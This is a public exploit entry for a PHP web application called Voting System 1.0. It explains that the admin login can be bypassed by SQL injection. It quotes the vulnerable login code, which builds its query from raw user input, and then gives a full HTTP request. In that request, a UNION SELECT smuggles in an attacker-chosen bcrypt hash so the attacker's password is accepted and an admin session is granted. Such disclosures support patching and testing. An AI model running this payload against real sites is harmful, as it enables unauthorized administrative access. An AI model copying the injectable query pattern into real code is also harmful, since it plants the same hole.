Voting System 1.0 SQL Injection

`# Exploit Title: Voting System 1.0 - Authentication Bypass (SQLI)  
# Date: 06/05/2021  
# Exploit Author: secure77  
# Vendor Homepage: https://www.sourcecodester.com/php/12306/voting-system-using-php.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=12306&title=Voting+System+using+PHP%2FMySQLi+with+Source+Code  
# Version: 1.0  
# Tested on: Linux Debian 5.10.28-1kali1 (2021-04-12) x86_64 // PHP Version 7.4.15 & Built-in HTTP server // mysql Ver 15.1 Distrib 10.5.9-MariaDB  
  
You can simply bypass the /admin/login.php with the following sql injection.  
All you need is a bcrypt hash that is equal with your random password, the username should NOT match with an existing  
  
  
  
########################### Vulnerable code ############################  
if(isset($_POST['login'])){  
$username = $_POST['username'];  
$password = $_POST['password'];  
  
$sql = "SELECT * FROM admin WHERE username = '$username'";  
$query = $conn->query($sql);  
  
if($query->num_rows < 1){  
$_SESSION['error'] = 'Cannot find account with the username';  
}  
else{  
$row = $query->fetch_assoc();  
echo "DB Password: " . $row['password'];  
echo "<br>";  
echo "<br>";  
echo "Input Password: " . $password;  
if(password_verify($password, $row['password'])){  
echo "Equal";  
$_SESSION['admin'] = $row['id'];  
}  
else{  
echo "not Equal";  
$_SESSION['error'] = 'Incorrect password';  
}  
}  
  
}  
else{  
$_SESSION['error'] = 'Input admin credentials first';  
}  
  
########################### Payload ############################  
POST /admin/login.php HTTP/1.1  
Host: 192.168.1.1  
DNT: 1  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Accept-Encoding: gzip, deflate  
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7  
Cookie: PHPSESSID=tliephrsj1d5ljhbvsbccnqmff  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 167  
  
login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -  
`